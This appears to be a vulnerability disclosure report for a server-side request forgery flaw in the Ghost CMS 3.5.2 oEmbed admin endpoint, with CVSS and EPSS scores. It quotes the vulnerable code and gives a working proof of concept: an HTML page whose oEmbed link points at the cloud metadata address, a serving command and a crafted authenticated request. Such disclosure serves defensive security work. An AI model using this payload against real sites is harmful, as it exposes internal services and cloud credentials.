8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
5.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:P/A:N
0.001 Low
EPSS
Percentile
30.5%
I would like to report about SSRF vulnerability in CMS Ghost blog
It allows attacker able to send a crafted GET request from a vulnerable web application
module name: ghostversion:3.5.2npm page:https://www.npmjs.com/package/ghost
website page https://ghost.org/
Ghost is the worldโs most popular open source headless Node.js CMS.
4,812 weekly downloads
This CMS is used around 512,000 times for creating Blogs in 2018 according to Ghost statics. Currently the biggest customers of this blog are: Apple, Elon Muskโs OpenAI team, Tinder, DigitalOcean, DuckDuckGo, Mozilla, Airtable, Revolt, etc.
Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a CMS Ghost Blog instanceโs to internal / external network.
CMS Ghost allows publishers to set up embed content from many sources (like Youtube, Twitter, Instagram, etc).
F713079
When click you click on the โOtherโฆโ button you can see the following input.
F713080
This input are send request to the route which is vulnerable for the SSRF attack. Letโs discover it!
When you try to pass some URL into this input we receive response like that:
GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed
F713081
In my case I trying to receive DigitalOcean MetaData from my server.
But, sadly In that moment we receive only validation error. Thatโs because responsible for that function query() doesnโt receive any content from function fetchOembedData().
File: /Ghost/core/server/api/canary/oembed.js
module.exports = {
docName: 'oembed',
read: {
permissions: false,
data: [
'url',
'type'
],
options: [],
query({data}) {
let {url, type} = data;
if (type === 'bookmark') {
return fetchBookmarkData(url);
}
return fetchOembedData(url).then((response) => {
if (!response && !type) {
return fetchBookmarkData(url);
}
return response;
}).then((response) => {
if (!response) {
return unknownProvider(url);
}
return response;
}).catch(() => {
return unknownProvider(url);
});
}
}
};
If we add breakpoint in fetchOembedData() function. And when will go across all lines of code in this function. We will notice interesting function that is call getOembedUrlFromHTML()
File: /Ghost/core/server/api/canary/oembed.js
function fetchOembedData(url) {
let provider;
({url, provider} = findUrlWithProvider(url));
if (provider) {
return knownProvider(url);
}
return request(url, {
method: 'GET',
timeout: 2 * 1000,
followRedirect: true,
headers: {
'user-agent': 'Ghost(https://github.com/TryGhost/Ghost)'
}
}).then((response) => {
if (response.url !== url) {
({url, provider} = findUrlWithProvider(response.url));
}
if (provider) {
return knownProvider(url);
}
const oembedUrl = getOembedUrlFromHTML(response.body);
if (oembedUrl) {
return request(oembedUrl, {
method: 'GET',
json: true
}).then((response) => {
return response.body;
}).catch(() => {});
}
});
}
This function is responsible for getting oEmbed URL from external resources.
File: /Ghost/core/server/api/canary/oembed.js
const getOembedUrlFromHTML = (html) => {
return cheerio('link[type="application/json+oembed"]', html).attr('href');
};
>โoEmbed is a format for allowing an embedded representation of a URL on third party sites. The simple API allows a website to display embedded content (such as photos or videos) when a user posts a link to that resource, without having to parse the resource directly.โ
And here we can notice before and after executing getOembedUrlFromHTML() function donโt exist any validation which can prevent against from the SSRF attacks.
Currently, we know how we can bypass validation in vulnerable route and now we can easily create exploit for this.
First of all, we should create an HTML page with "link[type="application/json+oembedโ]โ malicious URL which we would like to discover:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Security Testing</title>
<link rel="alternate" type="application/json+oembed" href="http://169.254.169.254/metadata/v1.json"/>
</head>
<body></body>
</html>
And serve this page by the Python SimpleHTTPServer module:
python -m SimpleHTTPServer 8000
If your target is located in not your local network you can use ngrok library for creating a tunnel to your HTML page.
And send the following request with publisher Cookies
GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed HTTP/1.1
Host: YOUR_WEBSITE
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-Ghost-Version: 3.5
App-Pragma: no-cache
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US;
Cookie: ghost-admin-api-session=YOUR_SESSION
And we finally receive a response from the internal DigitalOcean service with my Droplet MetaData.
SSRF vulnerability is working! ๐ฅณ
F713098
Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a Ghost Blog instanceโs to internal / external network.
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
5.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:S/C:P/I:P/A:N
0.001 Low
EPSS
Percentile
30.5%